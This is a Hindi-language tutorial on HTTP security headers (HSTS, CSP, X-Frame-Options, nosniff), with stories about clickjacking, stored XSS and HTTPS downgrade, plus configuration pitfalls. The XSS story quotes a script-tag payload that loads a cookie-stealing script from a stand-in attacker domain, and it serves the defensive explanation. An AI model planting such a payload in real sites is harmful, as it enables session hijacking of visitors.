एक वाक्य में
HTTP security headers एक server द्वारा भेजे गए खास निर्देश होते हैं जो browser को बताते हैं कि उसे कैसे व्यवहार करना है, जिससे आम वेब हमलों के खिलाफ एक महत्वपूर्ण सुरक्षा परत जुड़ जाती है।
यह क्या समस्या हल करता है
वेब के शुरुआती दिनों में, browsers थोड़े ज़्यादा ही भरोसेमंद हुआ करते थे। उस समय का रवैया कुछ ऐसा था, "अरे, एक server ने मुझे ये सामान भेजा है, तो मैं इसे render कर देता हूँ!" इस भरोसे का जल्द ही गलत फायदा उठाया जाने लगा। शरारती तत्वों (Malicious actors) ने legitimate वेबसाइटों में खतरनाक scripts डालने, यूज़र्स को ऐसी चीज़ों पर क्लिक करवाने के तरीके खोज निकाले जो वे देख नहीं सकते थे, और संवेदनशील जानकारी चुराने लगे।
मूल समस्या यह थी कि browser के पास server से कोई निर्देश नहीं थे कि क्या करने की अनुमति होनी चाहिए या नहीं होनी चाहिए। अगर किसी ब्लॉग पोस्ट के कमेंट में एक <script> टैग होता जो यूज़र की cookies चुरा लेता, तो browser खुशी-खुशी उसे चला देता। अगर कोई हमलावर आपके बैंक की वेबसाइट को एक अदृश्य <iframe> में एम्बेड करके आपको पैसे ट्रांसफर करने का झांसा देता, तो browser कहता, "हाँ, ठीक लग रहा है।"
इससे Cross-Site Scripting (XSS), clickjacking, और man-in-the-middle protocol downgrades जैसे हमलों की एक पूरी श्रेणी बन गई। Security headers का आविष्कार इसलिए किया गया ताकि server वेबसाइट के content के साथ एक "नियम-किताब" (rulebook) भेज सके। यह नियम-किताब browser को बताती है, "मेरे लिए थोड़ा शक्की बनो। Untrusted domains से scripts लोड मत करो। किसी को भी मेरी साइट को frame में डालने मत दो। और भगवान के लिए, मुझसे केवल एक सुरक्षित कनेक्शन पर ही बात करो।" वे सुरक्षा की कुछ ज़िम्मेदारी client-side पर डाल देते हैं, और ऐसी नीतियां लागू करते हैं जो अकेले server नहीं कर सकता।
यह अंदर से कैसे काम करता है
जब आपका browser एक वेबपेज के लिए अनुरोध करता है, तो server HTML content के साथ जवाब देता है, लेकिन उससे पहले, वह "headers" नामक टेक्स्ट का एक ब्लॉक भेजता है। ये key-value pairs होते हैं जो प्रतिक्रिया (response) के बारे में मेटाडेटा प्रदान करते हैं। Security headers बस खास headers होते हैं जिन्हें browser पहचानते हैं और उनका पालन करते हैं।
चलिए, इसके A-listers (सबसे महत्वपूर्ण) को समझते हैं।
Strict-Transport-Security (HSTS)
यह वह bouncer है जो एक सख्त "सिर्फ HTTPS" नीति लागू करता है। एक बार जब कोई browser आपकी साइट से यह header देख लेता है, तो वह एक वादा करता है: अगले max-age सेकंड के लिए, वह कभी भी आपकी साइट से असुरक्षित HTTP का उपयोग करके जुड़ने का प्रयास नहीं करेगा। वह सभी अनुरोधों को स्वचालित रूप से HTTPS में अपग्रेड कर देगा।
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age: सेकंड में वह समय जब तक browser को HTTPS लागू करना याद रखना चाहिए। एक सामान्य मान एक वर्ष (31536000) है।includeSubDomains: नियम को सभी सबडोमेन (जैसे,blog.example.com,api.example.com) पर लागू करता है।preload: यह एक संकेत है कि आप अपने डोमेन को ब्राउज़र-मेंटेन "preload lists" में शामिल करने के लिए सहमति देते हैं। इसका मतलब है कि आपकी साइट पर पहला विज़िट भी HTTPS पर ही होगा, जिससे एक छोटी लेकिन महत्वपूर्ण भेद्यता बंद हो जाती है।
Content-Security-Policy (CSP)
यह सबसे बड़ा वाला है—एकदम hyper-detailed security manager। CSP आपको उन resources (scripts, styles, images, fonts, आदि) की एक सख्त whitelist बनाने देता है जिन्हें browser लोड और एक्सेक्यूट कर सकता है। यह Cross-Site Scripting (XSS) से निपटने का सबसे प्रभावी तरीका है।
एक CSP निर्देशों (directives) की एक स्ट्रिंग होती है।
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
default-src 'self': डिफ़ॉल्ट रूप से, केवल मेरे अपने ऑरिजिन (same domain) से resources को अनुमति दें।script-src 'self' https://apis.google.com: Scripts के लिए, उन्हें मेरे अपने ऑरिजिन औरapis.google.comसे अनुमति दें। अन्य सभी scripts को ब्लॉक कर दिया जाएगा।object-src 'none':<object>,<embed>, और<applet>जैसे पुराने एम्बेड करने योग्य कंटेंट को अनुमति न दें।
एक अच्छा CSP बनाना मुश्किल हो सकता है क्योंकि आधुनिक साइटें कई जगहों (CDNs, analytics providers, आदि) से संसाधन खींचती हैं, लेकिन यह अविश्वसनीय रूप से शक्तिशाली है।
X-Frame-Options
यह असली anti-clickjacking header है। यह सरल और सीधा है, जो ब्राउज़र को बताता है कि आपकी साइट को <frame>, <iframe>, <embed>, या <object> के अंदर render किया जा सकता है या नहीं।
X-Frame-Options: DENY
DENY: पेज को किसी भी फ्रेम में प्रदर्शित नहीं किया जा सकता, चाहे कोई भी साइट ऐसा करने का प्रयास करे।SAMEORIGIN: पेज को केवल उसी ऑरिजिन के फ्रेम में प्रदर्शित किया जा सकता है, जिस ऑरिजिन का पेज खुद है।
हालांकि यह अभी भी उपयोगी है, लेकिन इसे बड़े पैमाने पर CSP में frame-ancestors निर्देश द्वारा प्रतिस्थापित किया जा रहा है, जो अधिक लचीला है।
X-Content-Type-Options
इस header का केवल एक ही मान्य मान (valid value) है, nosniff, लेकिन यह बहुत महत्वपूर्ण है। यह browser को 'स्मार्ट' बनने और किसी resource के content type का अनुमान लगाने से रोकता है। कुछ पुराने ब्राउज़र text/plain के रूप में सर्व की गई फ़ाइल को देखते थे, लेकिन अगर वह JavaScript जैसी दिखती तो उसे एक्सेक्यूट कर देते थे। इसे MIME-sniffing कहा जाता है और यह सुरक्षा में सेंध लगा सकता है।
X-Content-Type-Options: nosniff
यह header ब्राउज़र को बताता है: "मैंने जो Content-Type header भेजा है, वही परम सत्य है। उस पर सवाल मत उठाओ। अगर मैं कहता हूँ कि यह एक तस्वीर है, तो यह एक तस्वीर है, भले ही उसमें <script> टैग क्यों न हों।"
असल दुनिया की कहानियाँ
फैंटम बटन क्लिक
एक यूज़र अपनी पसंदीदा सोशल मीडिया साइट पर लॉग इन करता है। फिर वह एक हानिरहित लगने वाली गेम वेबसाइट पर जाता है जो एक बटन पर क्लिक करने पर मुफ्त पुरस्कार का वादा करती है। यूज़र को एक बड़ा "Claim Prize!" बटन दिखता है और वह उस पर क्लिक करता है। उसे पता नहीं होता कि गेम साइट चलाने वाले हमलावर ने सोशल मीडिया साइट को एक पूरी तरह से पारदर्शी <iframe> में लोड किया है जो सीधे गेम के ऊपर है। "Claim Prize!" बटन अदृश्य सोशल मीडिया पेज पर "Delete My Account" बटन के साथ बिल्कुल सही ढंग से संरेखित है। जब यूज़र क्लिक करता है, तो वह कोई पुरस्कार नहीं ले रहा होता; वह अपना अकाउंट डिलीट कर रहा होता है।
सबक: यह एक क्लासिक clickjacking हमला है। अगर सोशल मीडिया साइट ने X-Frame-Options: DENY या Content-Security-Policy: frame-ancestors 'none' हेडर भेजा होता, तो ब्राउज़र ने साइट को <iframe> में लोड करने से मना कर दिया होता, और हमला तुरंत विफल हो जाता।
दुर्भावनापूर्ण कमेंट
एक लोकप्रिय टेक ब्लॉग में एक व्यस्त कमेंट सेक्शन है। एक दिन, एक यूज़र एक उपयोगी लगने वाला कमेंट पोस्ट करता है, लेकिन उसके अंदर JavaScript का एक चालाक टुकड़ा छिपा होता है: <script src="https://evil-hacker.com/steal-cookie.js"></script>। ब्लॉग का बैकएंड कमेंट को ठीक से sanitize नहीं करता और उसे डेटाबेस में सेव कर लेता है। अब, जो भी व्यक्ति उस ब्लॉग पोस्ट पर जाता है, उसका ब्राउज़र steal-cookie.js स्क्रिप्ट को लोड और एक्सेक्यूट करता है। स्क्रिप्ट चुपचाप यूज़र की सेशन कुकी को पकड़कर हैकर के सर्वर पर भेज देती है, जिससे हैकर मॉडरेटर, एडमिन और सामान्य यूज़र्स के सेशन को हाईजैक कर सकता है।
सबक: एक अच्छी तरह से कॉन्फ़िगर किया गया Content-Security-Policy यहाँ रामबाण होता। script-src 'self' https://cdn.my-blog.com जैसी पॉलिसी ब्राउज़र को यह निर्देश देती कि केवल ब्लॉग के अपने डोमेन और उसके भरोसेमंद CDN से ही स्क्रिप्ट्स को एक्सेक्यूट करना है। evil-hacker.com का अनुरोध सीधे ब्लॉक हो जाता, और सर्वर को एक रिपोर्ट भेजी जाती, जो साइट के मालिकों को हमले के प्रयास के बारे में सचेत करती।
कॉफी शॉप का मैन-इन-द-मिडिल
आप एक कॉफी शॉप में हैं, और उनके पब्लिक वाई-फाई का उपयोग करके अपना बैंक बैलेंस चेक कर रहे हैं। आप अपने ब्राउज़र में mybank.com टाइप करते हैं। उसी नेटवर्क पर एक हमलावर आपके शुरुआती, अनएन्क्रिप्टेड HTTP अनुरोध को पकड़ लेता है। आपको सुरक्षित HTTPS संस्करण पर रीडायरेक्ट होने देने के बजाय, हमलावर आपको HTTP पर आपके बैंक के लॉगिन पेज की एक पिक्सेल-परफेक्ट नकली कॉपी परोसता है। आप अपनी साख दर्ज करते हैं, और हमलावर उन्हें पकड़ लेता है। खेल खत्म।
सबक: अगर आप पहले mybank.com पर गए होते, और बैंक ने Strict-Transport-Security (HSTS) लागू किया होता, तो आपके ब्राउज़र को पता होता कि mybank.com केवल HTTPS पर बात करता है। वह शुरुआती असुरक्षित अनुरोध करने का प्रयास भी नहीं करता। वह इसे तुरंत https://mybank.com में अपग्रेड कर देता, जिससे हमलावर का जाल पूरी तरह से बाईपास हो जाता।
आम गलतियाँ और जाल
- बहुत ज़्यादा ढील वाली CSP: अपनी
Content-Security-Policyमेंunsafe-inlineयाunsafe-evalका उपयोग करना क्योंकि यह एप्लिकेशन कोड को ठीक करने से आसान है। यह उन्हीं XSS छेदों को फिर से खोल देता है जिन्हें CSP को रोकने के लिए डिज़ाइन किया गया है। - कम
max-ageवाला HSTS: टेस्टिंग के दौरानStrict-Transport-Securityके लिएmax-ageको कुछ मिनटों या घंटों पर सेट करना और प्रोडक्शन के लिए इसे बढ़ाना भूल जाना। यह इसकी प्रभावशीलता को गंभीर रूप से सीमित करता है। includeSubDomainsको भूल जाना:www.example.comको HSTS से सुरक्षित करना लेकिनapi.example.comको नहीं। एक हमलावर अभी भी सबडोमेन को निशाना बना सकता है। यदि सभी सबडोमेन HTTPS का समर्थन करते हैं, तो इसे हमेशा शामिल करें।- पुराने हो चुके headers पर भरोसा करना: अभी भी
X-XSS-Protectionहेडर का उपयोग करने की कोशिश करना। आधुनिक ब्राउज़रों ने इसे अक्षम कर दिया है क्योंकि कभी-कभी इसे सुरक्षा छेद बनाने के लिए बरगलाया जा सकता था। सही तरीका एक मजबूत CSP है। - सेट करो और भूल जाओ: सुरक्षा स्थिर नहीं होती। आप एक नई एनालिटिक्स स्क्रिप्ट या CDN जोड़ सकते हैं। यदि आप अपनी CSP को अपडेट नहीं करते हैं, तो आप अपनी साइट को तोड़ सकते हैं। Headers को आपकी डिप्लॉयमेंट और टेस्टिंग प्रक्रिया का हिस्सा होना चाहिए।
- अपनी ही साइट को तोड़ना: पहले टेस्ट किए बिना एक बहुत सख्त CSP को डिप्लॉय करना।
Content-Security-Policy-Report-Onlyका उपयोग करें ताकि ब्राउज़र उल्लंघन की रिपोर्ट करे बिना उन्हें वास्तव में ब्लॉक किए, जिससे आप अपनी पॉलिसी को लागू करने से पहले उसे ठीक कर सकें।
यह आपके रडार पर क्यों होना चाहिए
अगर आप कोई वेबसाइट या वेब एप्लिकेशन बनाते हैं, maintain करते हैं, या किसी भी तरह से उसके लिए ज़िम्मेदार हैं, तो security headers आपकी चेकलिस्ट में होने ही चाहिए। बस।
ये सबसे सस्ते, और सबसे ज़्यादा असरदार सुरक्षा सुधारों में से एक हैं जो आप कर सकते हैं। इन्हें लागू करना अक्सर आपके वेब सर्वर (Nginx, Apache) या एप्लिकेशन फ्रेमवर्क में कॉन्फ़िगरेशन की कुछ लाइनें ही होती हैं। वे आम कमजोरियों के पूरे वर्गों के खिलाफ जो सुरक्षा प्रदान करते हैं, वह बहुत बड़ी है। इसे एक सीटबेल्ट की तरह समझें: यह कार दुर्घटना को नहीं रोकता है, लेकिन यह आपके बचने की संभावना को काफी बढ़ा देता है। Security headers एक सर्वर-साइड एक्सप्लॉइट के साथ एक दृढ़ हमलावर को नहीं रोकेंगे, लेकिन वे उन अधिकांश अवसरवादी, क्लाइंट-साइड हमलों को रोक देंगे जो अनजान यूज़र्स का शिकार करते हैं।
और गहराई में जाएं
- MDN Web Docs: HTTP Headers: आपके सोचे जा सकने वाले हर HTTP हेडर के लिए निश्चित वेब संदर्भ। https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- OWASP Secure Headers Project: ओपन वेब एप्लिकेशन सिक्योरिटी प्रोजेक्ट से एक उत्कृष्ट संसाधन, जिसमें यह बताया गया है कि कौन से हेडर का उपयोग करना है और कैसे। https://owasp.org/www-project-secure-headers/
- Content Security Policy (CSP) Reference: सबसे जटिल और शक्तिशाली सुरक्षा हेडर में एक गहरा गोता। https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- HSTS Preload Submission: HSTS प्रीलोड सूची के बारे में जानें और अपनी साइट को सबमिट करें जो प्रमुख ब्राउज़रों में बेक की गई है। https://hstspreload.org/
- Scott Helme's Blog: एक सुरक्षा शोधकर्ता जो सुरक्षा हेडर और अन्य वेब सुरक्षा विषयों पर बड़े पैमाने पर और आधिकारिक रूप से लिखते हैं। https://scotthelme.co.uk/